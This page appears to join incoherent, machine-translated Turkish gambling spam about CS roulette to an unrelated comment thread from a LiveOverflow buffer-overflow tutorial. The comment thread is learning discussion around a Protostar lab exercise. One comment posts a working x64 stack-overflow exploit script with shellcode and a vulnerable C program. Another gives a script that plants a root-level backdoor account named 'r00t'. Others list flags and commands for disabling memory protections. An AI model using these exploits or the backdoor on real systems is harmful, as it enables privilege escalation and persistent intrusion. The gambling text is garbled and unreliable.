Cs minimum bahis olmadan rulet git

Zamanla, diğer ülkelerde böyle bir lisans almak mümkün olmuştur. Siz mutlusunuz ve mutlusunuz, bahsi kazanmak, bir sonrakini siyaha. Yine tekerlekler, top tekrar, tekrar siyah.

Birincisi, cs minimum bahis olmadan rulet git belirtilen ve tarif edilenlerin tümü, kişisel yaşam.

Bir rubleden Cs oranları git – Bahis mağazalarının aynaları

İkincisi, rulet oyunu tehlikelidir ve kendilerini STOP söyleyemeyenler için. Beş yüz ruble para değil ve onları kaybetmeye hazırdım. Büyüyen sonucu, o zaman istediğiniz program olacak bir eğri. Rulet masasında oturuyorsunuz: Elinizde bir viski kadehi, diğerinde bir puro var, fazladan paranız var ve bir miktar cips.

Rulet xcru siyah kırmızı yeşil. Rulet xc kırmızı ve siyah

Bu oyun bir nedenden dolayı dünyayı tanıma ve popülerlik. Varsayılan olarak, site İngilizce’dir, ancak ayarlardan Rusça’ya geçebilirsiniz. Rulet xc kırmızı ve siyah büyük bir salonda olduğunuzu. Sonuç olarak, ikisi belirlendi basit Stratejiler.

Siyah ve kırmızı üzerine bahis yapın. CS Roulets: Kırmızı Siyah Yeşil Git

Yeşil 14 kez bahis artar. Sitedeveya başka bir miktar için promosyon mevcut..

147 thoughts on “Cs minimum bahis olmadan rulet git”

  1. omg now I understand why I do not understand it. He said to put on wizards hats and he repeated it and I did not put it and Im sure it is the reason =D Thanks for the tutorial. Danke noch mal =)

  2. Vincent Haepp

    Woooooooooo !!!!!
    That was almost the hardest tutorial-vids in my life !
    But also one of the most tastiest tutorials. After spending one and a half day of trying different offsets (my adresses differs from that in your vid) count of nops and stuff like that i got the damn root shell !!! Understanding memory, assembly…. Long words short story:
    Youve filled my brain with that damn new knowledge, that i have to say, your vids are the best hackingtuts in youtube.
    You made me understanding what the magic is, what behind the scenes lies.
    And as if changed in that root-shell the sudoers file 😉
    Ive felt like god on cocain 😀
    Thanks my friend, for sharing this (real) knowledge with us !!

    Btw guyz…
    When its not working, try different offsets, amount of nops, also there is other shellcode on that page. I had a different memory-address + 28 and to use different amount of nops.
    (Maybe its worth to write some looping code that finds the right numbers ??? ) 😉

    Aber, ums auf deutsch auszudrücken:
    Echt, danke man !!
    Das ist die fetteste Tutorialreihe, die ich seit den letzten 10 Jahren gesehen habe.
    Liebe grüße,
    Vince

  3. niek tuytel

    If youre running this on your own, also make sure you compile with the -fno-stack-protector flag and -z execstack flags

  4. I was shocked that my left speakers stopped working after hearing your intro. Damn they are my new ones :O

  5. Implemented the exploit on the buffer and got stuck for longer than Id like to admit. One thing I learned the hard way: Make sure that your exploit instructions dont start overwriting themselves through stack push instructions….. shortening the noop-slide and adding more padding after the exploit instructions fixed things.
    I now understand why @LiveOverflow chose to traverse the stack in the opposite direction. That made things considerably easier. Long noop-slide, no worries about shell-code-self-destruction and generally less space-restriction for the exploit.

    Absolutely great content!

    1. ​@LiveOverflow Alright, I finally got a fair bit further. But Im ever so confused. If before I was at a height of understanding, Im back to the valley. Oh well! To begin with, here is a terminal capture of the stack suicide:

      Shortening the noop slide and adding padding to the end of the buffer allowed me to execute the shell from within gdb. However, I couldnt attach to it. And executing cat /tmp/f; cat) | /opt/protostar/bin/stack5 only gave me segmentation fault and illegal instructions. Thats where I had been before. So far so good.

      I then tried executing commands with env -, which executes a process without environment variables. It turned out, that gdb still defines some env variables (LINES, COLUMNS), which you can unset with unset env VAR-NAME. I also executed commands from the same working directory using absolute paths. I thought that now I had the same buffer base address from within and outside of gdb. But I was clearly wrong, as things kept working in gdb, but not outside of it. I was contemplating for some time how to find out the live buffer base address without gdb (I could only think of source code modification..), and then decided to brute force the problem. So I wrote a script that simply tries 255 addresses to the top and bottom of the buffer base address that I got from gdb. And voila: Jumping to 0xbffffdbb spawned the shell, source code lying on the buffer!!!

      Why is the base address different? I dont know. Im also unsure how to investigate further. Ill sleep some nights over this. Frustratingly, the same exploit (using address 0xbffffdbb) did not work from within the terminal directly. Only from within the python script! Why? Again I have no clue.

      If theres gonna be a haxember video about this (no pressure), Ill finally sleep well again 😀

    2. @LiveOverflow Spoiler: I didnt figure it out fully. I got the exploit to spawn the shell from within gdb, but as in your video it closed immediately. Executing it with your cat-stdin-trick just gave me illegal instructions. After some digging I found weird ssh variables defined on the stack (env-scope), including IP addresses and whatnot (in retrospect Im wondering whether it was smart of myself to launch the VM on a desktop and ssh in with my laptop). I then just lied to myself and told myself that I had figured out how the shell-code self-destructed and the stack positioning was just an annoyance for another time. Then I implemented your solution 🙂 So the truth is that I have absolutely no idea why it crashed with cat-stdin.

      As for how I figured out the self-desctruction: I looked at the instructions of the exploit and compared them to what gdb was showing as it stepped through the exploit (just after the noop-slide). I then noticed that at some stage instructions were different from the source instructions (just before crashing); even though I had checked the memory right after the jump (ret). After some contemplating I figured that these supposed instructions actually corresponded with /bin/bash and some other strings that had been pushed onto the stack. Since I only had 10 bytes of padding after my exploit, the last few instructions got overwritten by the stack racing up towards the exploit. So the shell-code eventually dug its own grave. I then shortened the noop-slide and extended the padding after the exploit and it worked!!

    3. LiveOverflow

      How did you figure it out in the end? It’s a real WTFFFF issue

    4. @LiveOverflow Oh thats great timing then, haha! Id love to see it: it definitely challenged my (mediocre) understanding of what was going on. Finally fixing it made my Friday evening. Thank you! 🙂

    5. LiveOverflow

      I actually want to cover this during the haxember videos 😀 sorry I didn’t do this earlier

    1. LiveOverflow

      Guessing, hoping. The nopslide itself is an imprecise solution to a problem where you can’t know adresses exactly. So it’s by definition just guessing and hoping

  6. Ive done everything, watched the video, got it working, yet still not exactly sure what I did, Im 90% sure of everything though so Im just gonna drill this into my head until I get it before moving on. love the tutorials so far.

    1. Aris Totle

      As someone whose just started. do you need to understand the dynamics behind all of this, and why things are happening exactly as they are ?

  7. Is it possible to place the nop slide plus shellcode after the return address on x64?

    Im trying to do a different buffer overflow challenge on TryHackMe and I was able to successfully exploit it by placing the shellcode in the buffer before the return address. However, I was trying to use the technique in this video where the nopslide plus shellcode are after the return address and the nopslide keeps bleeding into my return address. This means the return address is invalid and I get a segfault.

    My overwritten return address is supposed to be 0x7fffffffe280 but notice how two x90 from the nop slide creep into it (since the 6 bytes of return address + 2 nop bytes = 8 bytes):

    0x7fffffffe230: 0x41414141 0x41414141 0xffffe280 0x90907fff

    I then tried putting two 0x00 after my padding (the x41 above) but that just caused the return address to spill into the padding area:

    0x7fffffffe230: 0x41414141 0xe2804141 0x7fffffff 0x90909090

    Which again causes a segfault. Ive tried doing some googling for possible solutions but no luck yet. Is there a way on x64 to preserve the return address if we want our shellcode after the return address?

  8. My esp changes every time. So i cannot just easily overwrite eip with that esp address. Is that because i was running stack5 from my host computer so other programs occupied the stack?

    1. @LiveOverflow Ok, but how do you connect to your protostar VM. I didnt find a sshd. Did you compile or dpkg one?

    2. LiveOverflow

      Yes that’s because you run it on your own computer. But your problem is ASLR – the stack address is randomized. And you will run into more issues because of DEP (non executable stack)

  9. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

  10. Riyazuddin Shaikh

    Im trying to do this on android. I want to know the opcode of system interrupt for arm processor.

    1. niek tuytel

      @Riyazuddin Shaikh ahh ok , yeah i want to learn android native code to reverse engineer (some app contains only native code that is why i jump in this)

    2. niek tuytel

      how this is going??? and you get some good link to learn this ?

  11. I dont think I understand this tutorial, I have my robe on and wizard hat, when do I cast Lvl. 3 Eroticism?

  12. yo guys Im really stuck here and I dont know why I calculated the offset found 140 I created a payload containing 115 NOP sled + 25 byte of shell code + an address in the middle of nop sleds but i keep getting segmentation fault although i checkd again the offset and its 100 % 140 bytes.And when I change the return address each time adding 8 bytes I arrive to a certain point where putty crushes as if I touched its configuration (wtf ?) Guys pleaaase heelp ..

  13. Harshal Rohit

    I am getting segementation fault instead of sigtrap when executed from terminal.

    1. Pranav Krishna

      you should be getting illegal instruction, thats because gdb is using int3 internally
      so pass handle SIGTRAP nostop noprint pass
      you will get sigtrap…
      btw: GREAT CONTENT, @LiveOverFlow

  14. ANIRUDH SUNDAR

    Has anyone tried to do this on an x64 machine instead of the protostar VM. I keep getting seg fault when trying to execute the 0xCC instruction.

    1. ANIRUDH SUNDAR

      @giuseppe galeotti If you are doing it like me (taking the code and compiling it in your machine to run it, instead of the VM), you can use the gcc command gcc -m32 -fno-stack-protector -Wl,-z,norelro -z execstack, to disable all types of memory protection and compile it in 32bit to recreate similar environment.

  15. can someone please explain me why was the bash executed as root?
    edit : okay so the setuid bit was set?

  16. Alojzy Bąbel

    04:48 What if the code is in a read-only memory? The debugger cannot just swap instructons with int3 then, right? :q So how can it still debug such read-only code?

  17. giuseppe galeotti

    I got stuck when we should control
    eip
    If I click c it says segmentation fault

  18. I get the concept but I am having some trouble applying it to my situation:
    (EDIT: I solved the issue myself, look in the reply as to how)

    Following your instructions on the VM work perfectly, but when I try to develop my exploit on my own machine I always just get a Segmentation fault when I run the exploit.
    I copied the stack5 program onto my machine (Windows + WSL) and my exploit works fine in gdb (run < /tmp/exp) but when I run it in my normal terminal (./stack5 < /tmp/exp) I get the segfault. I used the NOP slide trick exactly like you have it in the video, and even attempted to make it larger. Everything works on GDB, GDB on the VM, terminal on the VM but not terminal on my local machine. Any ideas why? It would be handy if I could test my exploit on my local machine before executing it on the server every time. I find the weirdest thing the fact that it works in GDB but not normally

    1. Thank the gods! I just found out myself why it wasnt working. Apparently, there is such a thing called ASLR that randomizes the addresses, to protect from exactly these types of attacks, so the hardcoded address we read from is not correct anymore. GDB automatically disables this to make it easier for us, but the main operating system needs to be as safe as possible of course. To temporarily disable this for testing a program you can use this command on Linux: ./exploit.py | setarch $(uname -m) -R ./stack5
      I got the tip from here:

  19. BugsWriter

    The more you watch this video the more your kernel panic you will feel in your system.

  20. NighcoreReflex

    Just a bit before 3:22 when you pipe the alphabet into the debugger, how do you do this? When I try it, no matter what I do it doesnt recognise it as input. It treats it as if I havent inputted any arguments at all. My python script is exactly the same as the one in the video

  21. my dumb ass.. I had to rewatch, and got it the second time around. I hand-typed the shellcode incorrectly the first time. So the second time around after rebooting, clearing env vars, etc, I got it by typing the shellcode from the webpage he was viewing, rather than waiting for him to copy/paste into his own term. Turns out I missed the xb0x0b. Cool to get that priviledge escalation. Nice video.

  22. Harshant Sharma

    Hey , exploit-exercise.com is down , could you upload the files somewhere in the google drive

  23. Hi,
    *After successfully executing shellcode*
    I just wanted to know why my shellcode process always exits after a single command like ls…

  24. (xx; cat) <-- How do we do this solution? if I used a python script like sendline() to overflow.

  25. cisco32544

    This was a great intro to buffer overflows. It was a bit little challenging to get working on modern 64bit Linux system, but finally figured it out. It would be really cool to see an updated video on this. Keep up the good work man!

  26. Racoon Rotary

    After watching this i have been discouraged to want to learn about computers. This intimidated the shit out of me, the level of understanding and knowledge you guys have is incredible!

    1. giuseppe galeotti

      You can simple take some time to understand better the things in the video and if you are new to computers stuff watch the entire Playlist of it

  27. Saumil Shah

    i am converting from script kiddie to proper user , i know the pain now , script works at first , but my programms dont lol

  28. James Chan

    3:37 op code xCC (INT3)
    8:09 NOP sled
    9:03 shellcode database
    10:27 shell without input

  29. demon39063

    When I do this, the memory mapped address of the stack is very different between inside GDB and out, and Im at a bit of a loss as to how to reconcile this.

    Inside GDB: 0xfffdd000-0xffffe000
    Outside GDB: 0xffc67000-0xffc88000

    Im struggling on how to find some absolute jump address to overwrite the pointer on the stack that will reference the executable code Ive placed onto the stack. Anyone have some idea?

    1. Sriprad Potukuchi

      Use nop slides, He talks about those in the video. In case you have watched it and didnt understand: nop slides are used for this exact same purpose! You spam a bunch of nops, and jump into an address where you are sure to find a nop instruction. And the rest is taken care of!

  30. Raahil Badiani

    this took me a long time. had to add some extra nops. but finally it worked. Awesome!! superb video. thanks a lot

  31. Just to have a backdoor use a setuid shellcode ( ) and do this in a .sh script in /tmp/ for example from your normal user shell:

    #!/bin/sh
    useradd -ou 0 -g 0 r00t
    (echo r00t; echo r00t) | sudo passwd r00t

    Then execute the file you created from the exploited root-shell and youll get a user named r00t with the password r00t. You will also then have a nice full bash shell 🙂

    (Im sure there is a better way but thats how I did it.)

  32. Alex Sepelenco

    I had a different memory address and had to add 64 to my stack for me to get Trace/breakpoint trap to work

  33. This episode was pretty hard for me. I always firstly watch episode and make notes, and after that I try it for myself. I had big difficulties executing shellcode outside gdb, after like 1h putting it on different positions, I had finally got it work by making more nops and picking deeper address. What a nice feeling when it finally put me in root privileges.

  34. Hritik Vijay

    Fucckkkkk!!! Ive been scratching my head over for this for days !

  35. Horsti10001

    this is gonna be asked on my infofrmation security exam the day after tomorrow, wish me luck

  36. Why does this give you root privileges? Is your compiled binary setuid root?

    1. LiveOverflow

      Yes. Those are he kinds of challenges here. We exploit a buffer overflow in a setuid program to get root.

  37. Hongyu Yang

    The stack has no execution privilege, how was it solved in this video?

    1. @LiveOverflow It is problem of VM or Linux on this VM? Hard or soft?

  38. Hey can you help me? When I try to put an adress into the instruction pointer, the adresses change all the time. In your video, the adresses remain the same. What am I doing wrong?

    1. Edgar Bolaños

      Are you doing it inside Protostar environment? Remember they disabled protections like ASLR, so if youre practicing somewhere else, chances are those protections will not be disabled.

  39. Baldvin Gudmundsson

    Great Youtube Channel

    I am starting from scratch trying to learn about Buffer Overflow , like f.x. find starting address of heap and stack

    In what row should I watch the videos ?

    1. LiveOverflow

      there is a binary exploitation playlist that has some order. However a lot of topics create circle references and it also make sense to watch further than you understand. And then maybe revisit earlier videos again.

  40. Александра Дубовик

    if it apperas nuts at first few times – really just return to it few days later. I understood so much better after one week not thinking about it

  41. Gokul Karthik

    this whole thing can only happen if the stack is executable right?(basically NX disabled)

  42. rajon rondo

    Can someone explain how the cat enables him to execute ls, whoami etc near the end of the video? Thanks !

    1. rajon rondo

      because if I did cat on *my own* shell, it just returns whatever I give as input, but if I typed commands like ls after typing cat, it just spits out ls, instead of listing the directory contents, which is why im confused

  43. sahil sharma

    1st time I watch this I was like wtf is going on… 2nd time… okay now it makes more sense….. great logic and explaination

  44. TheSami Xz

    I leave this comment to prove that during my life, ive watched this video First Exploit! Buffer Overflow with Shellcode – bin 0x0E and ive done this level

  45. Just a little reminder, at 8:18 hes adding 30 as a decimal value to the address. I was wondering why I still got an illegal instruction message, until I checked in dbg only to see that it added 30 as a decimal value and not as hex. This resulted in my offset being to small and not hitting in the NOPs. Using x30 resolved this issue and I got the Trace/breakpoint trap. When you get your head around this stuff its really fascinating. Thanks for the great videos!

  46. A Cat is fine too

    After much searching i finally get the basic idea. So how would this work on real programs with the modern protections. I find the more i look into it the more complex it gets:D

  47. I hope someone can help me here. When executing the exploit in gdb everything works fine, but if i try to execute it outside of gdb i do get a Segmentation fault error?

  48. This really helps when encountering the Illegal Instruction during getting root!

    -> Note: try to add more offset in eip (e.g. 0xbffff7b0 + 70 works fine for me)

  49. Kangjia Huang

    9:07 another good tool, especially if youre using Linux, is MSFVenom… Sure youve heard of it, a lot of different exploits to chose from, can generate shellcode without certain chars, of a certain size etc

    1. Alon Minski

      Lol definitely. He also has some accelerations from time to time. Thats when I double back for a replay.

  50. Anyone tried this on their base machine ? not while on ssh protostar ? because it dosent work on Linux 5.5.0-1parrot1-amd64 kernel ! or it doesnt related to kernel and I am doing something wrong ??

  51. BoredomOverflow

    Why is at 8:36 no 0xcccccccc at the end of the NOP slide (at 0xbffff824)? There is 0xb7ff6200 instead.
    The INT instruction gets somehow executed though. How? What did I miss?

  52. (python exploit.py ; cat) | /opt/protostar/bin/stack5
    After typing something in the ugly shell its saying Trace/breakpoint trap. After removing xCC it was fine and it worked. Thanks anyways!

    1. Frag Dein Pferd

      That is because xCC is for breakpoint, as was explained somewhere in the video

  53. Miscritz Brotherzz

    INFORMATION OVERFLOW

    too much info and stuff happening. i will watch again few days later after doing some googling

    1. Rahul Nepil

      @Miscritz Brotherzz did you understood it ?
      If yes please explain!

    2. Miscritz Brotherzz

      I was following the playlist but still was very confused

    3. GRBTutorials

      Did you know this is part of a series? This is the chapter number 0E, or in decimal, 14! Heres the full playlist:

    4. Lou So Cool

      Miscritz Brotherzz thought I was the only one. He was going so fast and the steps made no sense whatsoever. He should make a disclaimer that this is NOT for beginners

  54. Goliath Miredian

    I wonder when i ran the exploit in the terminal on stack5 file i see Trace/breakpoint trap, and when i do the gdb i see illegal instruction is there a reason for this?

  55. But the question is : how can you execute malicious code remotly into victim machine if the exploit (buffer overflow) is only related to the app.

  56. Luka Giljanović

    Im running this on ubuntu 16.04 on VM, and I cant run shell as root even though i set setuid, setgid, and set ownership of the program to root. Why is it not working?

  57. Just an update, I was flying through these challenges and was perplexed about something. I never had to nop anything and my shellcode was executed no problem, never got an illegal instruction upon piping, the only time I got an illegal instruction was piping my script without the appended shellcode!

  58. to generate the alphabet one can use this one-liner: .join([4*chr(a) for a in range(97, 120)]). Also metasploit framework has a utility for index finding

  59. Great video! Thank you. How can I determine how long my nop slide should be?

  60. Niccolo Palombi

    Why do I need buffer Oveflow to inject shellcodes? Cant I run shellcodes by itself?

  61. TheSami Xz

    For all those who get a segfault or else :
    You should make exploit.py like that :
    #———————————————————————————
    import struct

    buf_val = #This value has to be found using the vulnerable program with the memory leak vulnerability, the value should look like 0x7fffffffde20 if its compiled in 64 bits
    start_buf = buf_val – 9 #Got from memory leak
    padding = A*(256+8)
    #shellcode = xcc*64 # This instruction should give a SIGTRAP, trace/breakpoint trap
    shellcode = x90x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx05 #This shellcode should spawn a shell
    RIP = struct.pack(Q, (start_buf+len(padding)+8)+10) # Getting the EIP register from start_buf
    payload = padding + RIP + x90*64 + shellcode

    print(payload) #Printing the payload to stdout

    #Original code from LiveOverflow ( i made modifications to make it work without sockets
    #———————————————————————————
    To find make it actually works and to find buf_val in my exploit you should edit main.c like that :
    //———————————————————————————
    #include

    #include

    void vuln() {
    char buf[256] = {0};
    gets(buf);
    printf(buf);
    }

    int main(int argc, char* argv[]) {
    vuln();
    }//———————————————————————————

    To find the buf_val value in exploit.py, you have to use printf() vulnerability, so in the vulnerable program vuln, you have to enter %p,%p,%p,%p,%p,%p or more %p,, it should give you some values, the value were looking for should be something like 0x7fffffffde20 (if its compiled in 64 bits), it is generaly the second or the 4th value
    Now you just have to take this value, and place it in the value of buf_val of exploit.py, then to run the exploit

    (github page where i have all the files :

    1. TheSami Xz

      Thank you liveoverflow to have liked my comment ! Im happy to help !

  62. Alojzy Bąbel

    03:10 Unless the stack is non-executable :q
    So maybe a jump into some library code? I think we could modify the stack so that it contained a series of return addresses and then just allow the CPU to return through all of them to execute some code.

  63. Sheila Squires

    im doing reverse engineering on the reverse engineering that ur teaching me lol, terms apply looking every 5 second of info from google to understand the whole video but i love it

  64. Александра Дубовик

    floating point exception instead of illegal instruction at 6:21 anyone??

  65. Sounds like you might need to check the edit on this!

    Great content as always.

  66. After all nops at 8:34 we see from address 0xbffff824 to 0xbffff827 the content of 0xb7ff6200. Why do we not see our payload 0xcccccccc at that location? According to the python script, 0xcccccccc should come right after the 100 nops. Why is this not visible at 8:34, when you examine the stack?

    Also, thank you for this great series!

  67. For those getting SEGMENTATION FAULT when trying to execute the shellcode (INT3 interrupt), heres the solution:
    recompile your code with this option -z execstack to make the stack memory executable.

  68. clay ouyang

    hi bro,why segmentation fault appear when i run stack5 but it is not in gdb?

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